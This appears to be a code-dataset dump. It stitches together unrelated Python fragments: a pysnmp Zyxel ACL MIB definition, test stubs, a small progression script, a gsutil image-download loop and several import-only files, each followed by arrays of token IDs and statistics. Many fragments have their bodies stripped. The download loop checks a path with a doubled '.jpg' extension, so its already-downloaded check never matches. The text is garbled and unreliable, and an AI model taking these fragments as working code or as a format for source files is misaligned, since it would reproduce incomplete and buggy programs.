4, 1, 890, 1, 15, 3, 105, 1, 3, 1, 3), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 128))).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierVlanMap3k.setStatus('current') zyAclV2ClassifierVlanMap4k = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 3, 1, 4), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 128))).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierVlanMap4k.setStatus('current') zyxelAclV2ClassifierInnerVlanTable = MibTable((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 4), ) if mibBuilder.loadTexts: zyxelAclV2ClassifierInnerVlanTable.setStatus('current') zyxelAclV2ClassifierInnerVlanEntry = MibTableRow((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 4, 1), ).setIndexNames((0, "ZYXEL-AclV2-MIB", "zyAclV2ClassifierName")) if mibBuilder.loadTexts: zyxelAclV2ClassifierInnerVlanEntry.setStatus('current') zyAclV2ClassifierInnerVlanMap1k = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 4, 1, 1), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 128))).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierInnerVlanMap1k.setStatus('current') zyAclV2ClassifierInnerVlanMap2k = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 4, 1, 2), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 128))).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierInnerVlanMap2k.setStatus('current') zyAclV2ClassifierInnerVlanMap3k = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 4, 1, 3), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 128))).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierInnerVlanMap3k.setStatus('current') zyAclV2ClassifierInnerVlanMap4k = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 4, 1, 4), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 128))).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierInnerVlanMap4k.setStatus('current') zyxelAclV2ClassifierIpTable = MibTable((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5), ) if mibBuilder.loadTexts: zyxelAclV2ClassifierIpTable.setStatus('current') zyxelAclV2ClassifierIpEntry = MibTableRow((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5, 1), ).setIndexNames((0, "ZYXEL-AclV2-MIB", "zyAclV2ClassifierName")) if mibBuilder.loadTexts: zyxelAclV2ClassifierIpEntry.setStatus('current') zyAclV2ClassifierIpPacketLenRangeStart = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5, 1, 1), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierIpPacketLenRangeStart.setStatus('current') zyAclV2ClassifierIpPacketLenRangeEnd = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5, 1, 2), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierIpPacketLenRangeEnd.setStatus('current') zyAclV2ClassifierIpDSCP = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5, 1, 3), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierIpDSCP.setStatus('current') zyAclV2ClassifierIpPrecedence = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5, 1, 4), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierIpPrecedence.setStatus('current') zyAclV2ClassifierIpToS = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5, 1, 5), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierIpToS.setStatus('current') zyAclV2ClassifierIpProtocol = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5, 1, 6), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierIpProtocol.setStatus('current') zyAclV2ClassifierIpEstablishOnly = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5, 1, 7), EnabledStatus()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierIpEstablishOnly.setStatus('current') zyAclV2ClassifierIpSourceIpAddress = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5, 1, 8), IpAddress()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierIpSourceIpAddress.setStatus('current') zyAclV2ClassifierIpSourceIpMaskBits = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5, 1, 9), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierIpSourceIpMaskBits.setStatus('current') zyAclV2ClassifierIpDestinationIpAddress = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5, 1, 10), IpAddress()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierIpDestinationIpAddress.setStatus('current') zyAclV2ClassifierIpDestinationIpMaskBits = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5, 1, 11), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierIpDestinationIpMaskBits.setStatus('current') zyAclV2ClassifierIpSourceSocketRangeStart = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5, 1, 12), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierIpSourceSocketRangeStart.setStatus('current') zyAclV2ClassifierIpSourceSocketRangeEnd = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5, 1, 13), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierIpSourceSocketRangeEnd.setStatus('current') zyAclV2ClassifierIpDestinationSocketRangeStart = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5, 1, 14), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierIpDestinationSocketRangeStart.setStatus('current') zyAclV2ClassifierIpDestinationSocketRangeEnd = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 5, 1, 15), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierIpDestinationSocketRangeEnd.setStatus('current') zyxelAclV2ClassifierIpv6Table = MibTable((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 6), ) if mibBuilder.loadTexts: zyxelAclV2ClassifierIpv6Table.setStatus('current') zyxelAclV2ClassifierIpv6Entry = MibTableRow((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 6, 1), ).setIndexNames((0, "ZYXEL-AclV2-MIB", "zyAclV2ClassifierName")) if mibBuilder.loadTexts: zyxelAclV2ClassifierIpv6Entry.setStatus('current') zyAclV2ClassifierIPv6DSCP = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 6, 1, 1), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierIPv6DSCP.setStatus('current') zyAclV2ClassifierIPv6NextHeader = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 6, 1, 2), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierIPv6NextHeader.setStatus('current') zyAclV2ClassifierIPv6EstablishOnly = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 6, 1, 3), EnabledStatus()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierIPv6EstablishOnly.setStatus('current') zyAclV2ClassifierIPv6SourceIpAddress = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 6, 1, 4), InetAddress()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierIPv6SourceIpAddress.setStatus('current') zyAclV2ClassifierIPv6SourceIpPrefixLength = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 6, 1, 5), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierIPv6SourceIpPrefixLength.setStatus('current') zyAclV2ClassifierIPv6DestinationIpAddress = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 6, 1, 6), InetAddress()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierIPv6DestinationIpAddress.setStatus('current') zyAclV2ClassifierIPv6DestinationIpPrefixLength = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 6, 1, 7), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2ClassifierIPv6DestinationIpPrefixLength.setStatus('current') zyxelAclV2ClassifierMatchOrder = MibScalar((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 7), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("auto", 1), ("manual", 2)))).setMaxAccess("readonly") if mibBuilder.loadTexts: zyxelAclV2ClassifierMatchOrder.setStatus('current') zyxelAclV2ClassifierLoggingState = MibScalar((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 8), EnabledStatus()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyxelAclV2ClassifierLoggingState.setStatus('current') zyxelAclV2ClassifierLoggingInterval = MibScalar((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 1, 9), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyxelAclV2ClassifierLoggingInterval.setStatus('current') zyxelAclV2PolicyTable = MibTable((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1), ) if mibBuilder.loadTexts: zyxelAclV2PolicyTable.setStatus('current') zyxelAclV2PolicyEntry = MibTableRow((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1), ).setIndexNames((0, "ZYXEL-AclV2-MIB", "zyAclV2PolicyName")) if mibBuilder.loadTexts: zyxelAclV2PolicyEntry.setStatus('current') zyAclV2PolicyName = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 1), DisplayString()) if mibBuilder.loadTexts: zyAclV2PolicyName.setStatus('current') zyAclV2PolicyState = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 2), EnabledStatus()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2PolicyState.setStatus('current') zyAclV2PolicyClassifier = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 3), DisplayString()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2PolicyClassifier.setStatus('current') zyAclV2PolicyVid = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 4), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2PolicyVid.setStatus('current') zyAclV2PolicyEgressPort = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 5), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2PolicyEgressPort.setStatus('current') zyAclV2Policy8021pPriority = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 6), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2Policy8021pPriority.setStatus('current') zyAclV2PolicyDSCP = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 7), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2PolicyDSCP.setStatus('current') zyAclV2PolicyTOS = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 8), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2PolicyTOS.setStatus('current') zyAclV2PolicyBandwidth = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 9), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2PolicyBandwidth.setStatus('current') zyAclV2PolicyOutOfProfileDSCP = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 10), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2PolicyOutOfProfileDSCP.setStatus('current') zyAclV2PolicyForwardingAction = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 11), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("noChange", 1), ("discardThePacket", 2), ("doNotDropTheMatchingFramePreviouslyMarkedForDropping", 3)))).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2PolicyForwardingAction.setStatus('current') zyAclV2PolicyPriorityAction = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 12), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5))).clone(namedValues=NamedValues(("noChange", 1), ("setThePackets802dot1Priority", 2), ("sendThePacketToPriorityQueue", 3), ("replaceThe802dot1PriorityFieldWithTheIpTosValue", 4), ("replaceThe802dot1PriorityByInner802dot1Priority", 5)))).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2PolicyPriorityAction.setStatus('current') zyAclV2PolicyDiffServAction = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 13), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4))).clone(namedValues=NamedValues(("noChange", 1), ("setThePacketsTosField", 2), ("replaceTheIpTosFieldWithThe802dot1PriorityValue", 3), ("setTheDiffservCodepointFieldInTheFrame", 4)))).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2PolicyDiffServAction.setStatus('current') zyAclV2PolicyOutgoingAction = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 14), Bits().clone(namedValues=NamedValues(("sendThePacketToTheMirrorPort", 0), ("sendThePacketToTheEgressPort", 1), ("sendTheMatchingFramesToTheEgressPort", 2), ("setThePacketVlanId", 3)))).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2PolicyOutgoingAction.setStatus('current') zyAclV2PolicyMeteringState = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 15), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2PolicyMeteringState.setStatus('current') zyAclV2PolicyOutOfProfileAction = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 16), Bits().clone(namedValues=NamedValues(("dropThePacket", 0), ("changeTheDscpValue", 1), ("setOutDropPrecedence", 2), ("doNotDropTheMatchingFramePreviouslyMarkedForDropping", 3)))).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2PolicyOutOfProfileAction.setStatus('current') zyAclV2PolicyRowstatus = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 17), RowStatus()).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2PolicyRowstatus.setStatus('current') zyAclV2PolicyQueueAction = MibTableColumn((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 2, 1, 1, 18), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("noChange", 1), ("sendThePacketToPriorityQueue", 2)))).setMaxAccess("readonly") if mibBuilder.loadTexts: zyAclV2PolicyQueueAction.setStatus('current') zyAclV2TrapClassifierLogMatchCount = MibScalar((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 3, 1), Integer32()) if mibBuilder.loadTexts: zyAclV2TrapClassifierLogMatchCount.setStatus('current') zyAclV2ClassifierLogNotification = NotificationType((1, 3, 6, 1, 4, 1, 890, 1, 15, 3, 105, 4, 1)).setObjects(("ZYXEL-AclV2-MIB", "zyAclV2ClassifierName"), ("ZYXEL-AclV2-MIB", "zyAclV2TrapClassifierLogMatchCount")) if mibBuilder.loadTexts: zyAclV2ClassifierLogNotification.setStatus('current') mibBuilder.exportSymbols("ZYXEL-AclV2-MIB", zyAclV2ClassifierInnerVlanMap1k=zyAclV2ClassifierInnerVlanMap1k, zyAclV2ClassifierIPv6DSCP=zyAclV2ClassifierIPv6DSCP, zyAclV2ClassifierEthernetInner8021pPriority=zyAclV2ClassifierEthernetInner8021pPriority, zyAclV2ClassifierInnerVlanMap4k=zyAclV2ClassifierInnerVlanMap4k, zyAclV2ClassifierEthernetPacketFormat=zyAclV2ClassifierEthernetPacketFormat, zyAclV2ClassifierVlanMap2k=zyAclV2ClassifierVlanMap2k, zyxelAclV2PolicyStatus=zyxelAclV2PolicyStatus, zyAclV2PolicyClassifier=zyAclV2PolicyClassifier, zyxelAclV2ClassifierInnerVlanTable=zyxelAclV2ClassifierInnerVlanTable, zyAclV2ClassifierIpEstablishOnly=zyAclV2ClassifierIpEstablishOnly, zyAclV2ClassifierEthernetType=zyAclV2ClassifierEthernetType, zyAclV2ClassifierEthernetSourceMacAddress=zyAclV2ClassifierEthernetSourceMacAddress, zyAclV2ClassifierIpSourceIpMaskBits=zyAclV2ClassifierIpSourceIpMaskBits, zyAclV2ClassifierEthernetDestinationMacAddress=zyAclV2ClassifierEthernetDestinationMacAddress, zyAclV2PolicyOutOfProfileDSCP=zyAclV2PolicyOutOfProfileDSCP, zyAclV2ClassifierIpDestinationSocketRangeEnd=zyAclV2ClassifierIpDestinationSocketRangeEnd, zyAclV2PolicyEgressPort=zyAclV2PolicyEgressPort, zyAclV2PolicyRowstatus=zyAclV2PolicyRowstatus, zyAclV2ClassifierEthernetSourceTrunks=zyAclV2ClassifierEthernetSourceTrunks, zyxelAclV2ClassifierInnerVlanEntry=zyxelAclV2ClassifierInnerVlanEntry, zyAclV2ClassifierLogNotification=zyAclV2ClassifierLogNotification, zyAclV2PolicyOutgoingAction=zyAclV2PolicyOutgoingAction, zyAclV2ClassifierIpDestinationIpAddress=zyAclV2ClassifierIpDestinationIpAddress, zyAclV2PolicyMeteringState=zyAclV2PolicyMeteringState, zyAclV2ClassifierInnerVlanMap2k=zyAclV2ClassifierInnerVlanMap2k, zyAclV2ClassifierIpPrecedence=zyAclV2ClassifierIpPrecedence, zyAclV2PolicyVid=zyAclV2PolicyVid, zyxelAclV2ClassifierEntry=zyxelAclV2ClassifierEntry, zyAclV2ClassifierIpDestinationIpMaskBits=zyAclV2ClassifierIpDestinationIpMaskBits, zyxelAclV2Notifications=zyxelAclV2Notifications, zyxelAclV2PolicyTable=zyxelAclV2PolicyTable, zyxelAclV2ClassifierMatchOrder=zyxelAclV2ClassifierMatchOrder, zyAclV2ClassifierIpDSCP=zyAclV2ClassifierIpDSCP, zyAclV2ClassifierWeight=zyAclV2ClassifierWeight, zyAclV2ClassifierMatchCount=zyAclV2ClassifierMatchCount, zyAclV2PolicyPriorityAction=zyAclV2PolicyPriorityAction, zyAclV2TrapClassifierLogMatchCount=zyAclV2TrapClassifierLogMatchCount, zyxelAclV2ClassifierEthernetEntry=zyxelAclV2ClassifierEthernetEntry, zyAclV2ClassifierIpPacketLenRangeStart=zyAclV2ClassifierIpPacketLenRangeStart, zyAclV2ClassifierEthernetSourceMACMask=zyAclV2ClassifierEthernetSourceMACMask, zyAclV2ClassifierEthernetDestinationMACMask=zyAclV2ClassifierEthernetDestinationMACMask, zyAclV2ClassifierVlanMap3k=zyAclV2ClassifierVlanMap3k, zyAclV2ClassifierTimeRange=zyAclV2ClassifierTimeRange, zyxelAclV2ClassifierIpv6Entry=zyxelAclV2ClassifierIpv6Entry, zyAclV2ClassifierIPv6EstablishOnly=zyAclV2ClassifierIPv6EstablishOnly, zyAclV2ClassifierIPv6DestinationIpPrefixLength=zyAclV2ClassifierIPv6DestinationIpPrefixLength, zyxelAclV2ClassifierIpEntry=zyxelAclV2ClassifierIpEntry, zyAclV2ClassifierIpToS=zyAclV2ClassifierIpToS, zyAclV2ClassifierEthernetSourcePorts=zyAclV2ClassifierEthernetSourcePorts, zyAclV2PolicyQueueAction=zyAclV2PolicyQueueAction, zyAclV2ClassifierIPv6NextHeader=zyAclV2ClassifierIPv6NextHeader, zyAclV2ClassifierVlanMap4k=zyAclV2ClassifierVlanMap4k, zyAclV2ClassifierEthernet8021pPriority=zyAclV2ClassifierEthernet8021pPriority, zyxelAclV2TrapInfoObjects=zyxelAclV2TrapInfoObjects, zyxelAclV2ClassifierIpTable=zyxelAclV2ClassifierIpTable, zyAclV2ClassifierIPv6SourceIpAddress=zyAclV2ClassifierIPv6SourceIpAddress, zyxelAclV2ClassifierLoggingState=zyxelAclV2ClassifierLoggingState, zyxelAclV2=zyxelAclV2, zyxelAclV2ClassifierIpv6Table=zyxelAclV2ClassifierIpv6Table, zyAclV2PolicyDiffServAction=zyAclV2PolicyDiffServAction, zyAclV2ClassifierIpDestinationSocketRangeStart=zyAclV2ClassifierIpDestinationSocketRangeStart, zyAclV2ClassifierVlanMap1k=zyAclV2ClassifierVlanMap1k, zyAclV2PolicyDSCP=zyAclV2PolicyDSCP, zyxelAclV2ClassifierEthernetTable=zyxelAclV2ClassifierEthernetTable, zyAclV2ClassifierLogState=zyAclV2ClassifierLogState, zyAclV2ClassifierInnerVlanMap3k=zyAclV2ClassifierInnerVlanMap3k, zyAclV2ClassifierIPv6SourceIpPrefixLength=zyAclV2ClassifierIPv6SourceIpPrefixLength, zyAclV2PolicyBandwidth=zyAclV2PolicyBandwidth, zyxelAclV2ClassifierLoggingInterval=zyxelAclV2ClassifierLoggingInterval, zyAclV2Policy8021pPriority=zyAclV2Policy8021pPriority, zyAclV2PolicyForwardingAction=zyAclV2PolicyForwardingAction, zyAclV2PolicyName=zyAclV2PolicyName, PYSNMP_MODULE_ID=zyxelAclV2, zyAclV2ClassifierName=zyAclV2ClassifierName, zyAclV2ClassifierIPv6DestinationIpAddress=zyAclV2ClassifierIPv6DestinationIpAddress, zyAclV2ClassifierState=zyAclV2ClassifierState, zyxelAclV2ClassifierVlanEntry=zyxelAclV2ClassifierVlanEntry, zyAclV2PolicyState=zyAclV2PolicyState, zyAclV2ClassifierIpSourceIpAddress=zyAclV2ClassifierIpSourceIpAddress, zyxelAclV2ClassifierTable=zyxelAclV2ClassifierTable, zyxelAclV2ClassifierStatus=zyxelAclV2ClassifierStatus, zyAclV2ClassifierIpSourceSocketRangeEnd=zyAclV2ClassifierIpSourceSocketRangeEnd, zyAclV2PolicyTOS=zyAclV2PolicyTOS, zyAclV2ClassifierIpPacketLenRangeEnd=zyAclV2ClassifierIpPacketLenRangeEnd, zyxelAclV2PolicyEntry=zyxelAclV2PolicyEntry, zyAclV2ClassifierIpProtocol=zyAclV2ClassifierIpProtocol, zyxelAclV2ClassifierVlanTable=zyxelAclV2ClassifierVlanTable, zyAclV2PolicyOutOfProfileAction=zyAclV2PolicyOutOfProfileAction, zyAclV2ClassifierIpSourceSocketRangeStart=zyAclV2ClassifierIpSourceSocketRangeStart, zyAclV2ClassifierCountState=zyAclV2ClassifierCountState)
[ 2, 198, 2, 9485, 15571, 7378, 337, 9865, 8265, 1168, 56, 55, 3698, 12, 32, 565, 53, 17, 12, 8895, 33, 357, 4023, 1378, 16184, 76, 489, 8937, 13, 785, 14, 79, 893, 11632, 8, 198, 2, 7054, 45, 13, 16, 2723, 2393, 1378, 14, 14490...
2.439575
11,477
#!/usr/bin/env python2.7 import unittest import canning if __name__ == "__main__": unittest.main()
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 17, 13, 22, 198, 198, 11748, 555, 715, 395, 198, 198, 11748, 460, 768, 628, 628, 198, 361, 11593, 3672, 834, 6624, 366, 834, 12417, 834, 1298, 198, 220, 220, 220, 555, 715, 395, 13, 124...
2.369565
46
print('-+-' *10) print(' GERADOR DE PA') print('+-+' * 10) c = 1 ter = int(input('Insira o primeiro termo - ')) rz = int(input('Insira a razo - ')) while c <= 10: print(ter, ' ', end=' ') ter += rz c += 1 print('FIM')
[ 4798, 10786, 19529, 19355, 1635, 940, 8, 198, 4798, 10786, 220, 220, 220, 220, 220, 220, 44186, 2885, 1581, 5550, 8147, 11537, 198, 4798, 10786, 10, 19529, 6, 1635, 838, 8, 198, 198, 66, 796, 352, 198, 198, 353, 796, 493, 7, 15414, ...
2.104348
115
#!/usr/bin/env python3 from .gp import GP from .pyro import _PyroMixin # This will only contain functions if Pyro is installed
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 18, 198, 198, 6738, 764, 31197, 1330, 14714, 198, 6738, 764, 9078, 305, 1330, 4808, 20519, 305, 35608, 259, 220, 1303, 770, 481, 691, 3994, 5499, 611, 44954, 318, 6589, 628 ]
3.333333
39
import pytest from flask_resty import Api from flask_resty.testing import assert_response # ----------------------------------------------------------------------------- # ----------------------------------------------------------------------------- def test_ping(base_client): response = base_client.get("/ping") assert_response(response, 200) assert response.get_data(as_text=True) == ""
[ 11748, 12972, 9288, 198, 198, 6738, 42903, 62, 2118, 88, 1330, 5949, 72, 198, 6738, 42903, 62, 2118, 88, 13, 33407, 1330, 6818, 62, 26209, 198, 198, 2, 16529, 32501, 628, 198, 198, 2, 16529, 32501, 628, 198, 4299, 1332, 62, 13886, 7...
4.351064
94
from numpy.testing import assert_allclose from astropy.io import ascii from astropy import units as u import lightkurve as lk from exovetter import const as exo_const from exovetter import vetters from exovetter.tce import Tce from astropy.utils.data import get_pkg_data_filename
[ 6738, 299, 32152, 13, 33407, 1330, 6818, 62, 439, 19836, 198, 6738, 6468, 28338, 13, 952, 1330, 355, 979, 72, 198, 6738, 6468, 28338, 1330, 4991, 355, 334, 198, 11748, 1657, 74, 333, 303, 355, 300, 74, 198, 198, 6738, 409, 659, 83, ...
3.131868
91
# -*- coding: utf-8 -*- from ..Qt import QtCore, QtGui
[ 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 6738, 11485, 48, 83, 1330, 33734, 14055, 11, 33734, 8205, 72, 628, 220, 220, 220, 220, 220, 220, 220, 220, 198 ]
1.857143
35
import os from subprocess import call files = ['000002b66c9c498e.jpg', '000002b97e5471a0.jpg', '000002c707c9895e.jpg', '0000048549557964.jpg', '000004f4400f6ec5.jpg', '0000071d71a0a6f6.jpg', '000013ba71c12506.jpg', '000018acd19b4ad3.jpg', '00001bc2c4027449.jpg', '00001bcc92282a38.jpg', '0000201cd362f303.jpg', '000020780ccee28d.jpg', '000023aa04ab09ed.jpg', '0000253ea4ecbf19.jpg', '000025ea48cab6fc.jpg', '0000271195f2c007.jpg', '0000286a5c6a3eb5.jpg', '00002b368e91b947.jpg', '00002f4ff380c64c.jpg', '0000313e5dccf13b.jpg', '000032046c3f8371.jpg', '00003223e04e2e66.jpg', '0000333f08ced1cd.jpg'] for file in files: if not os.path.exists('train/' + file + '.jpg'): spath = "gs://open-images-dataset/train/%s " % file call(["gsutil", "cp", spath, 'train/']) print(file, 'done', 'count:') else: print(file, 'already downloaded')
[ 11748, 28686, 198, 6738, 850, 14681, 1330, 869, 198, 198, 16624, 796, 37250, 20483, 17, 65, 2791, 66, 24, 66, 36260, 68, 13, 9479, 3256, 705, 20483, 17, 65, 5607, 68, 20, 38339, 64, 15, 13, 9479, 3256, 705, 20483, 17, 66, 24038, 6...
2.07381
420
""" SNMP_FRAMEWORK_MIB """ from collections import OrderedDict from ydk.types import Entity, EntityPath, Identity, Enum, YType, YLeaf, YLeafList, YList, LeafDataList, Bits, Empty, Decimal64 from ydk.filters import YFilter from ydk.errors import YError, YModelError from ydk.errors.error_handler import handle_type_error as _handle_type_error
[ 37811, 11346, 7378, 62, 10913, 2390, 6217, 14670, 62, 8895, 33, 220, 628, 198, 37811, 198, 6738, 17268, 1330, 14230, 1068, 35, 713, 198, 198, 6738, 331, 34388, 13, 19199, 1330, 20885, 11, 20885, 15235, 11, 27207, 11, 2039, 388, 11, 57...
3.017241
116
from aiogram.utils.markdown import hide_link from aiogram.types import CallbackQuery from loader import dp from utils import ( get_object, get_attributes_of_object ) from keyboards import ( anime_choose_safe_category, anime_sfw_categories, anime_nsfw_categories, animals_categories, menu_with_categories, control_buttons )
[ 6738, 257, 72, 21857, 13, 26791, 13, 4102, 2902, 1330, 7808, 62, 8726, 201, 198, 6738, 257, 72, 21857, 13, 19199, 1330, 4889, 1891, 20746, 201, 198, 201, 198, 6738, 40213, 1330, 288, 79, 201, 198, 6738, 3384, 4487, 1330, 357, 201, 1...
2.426752
157
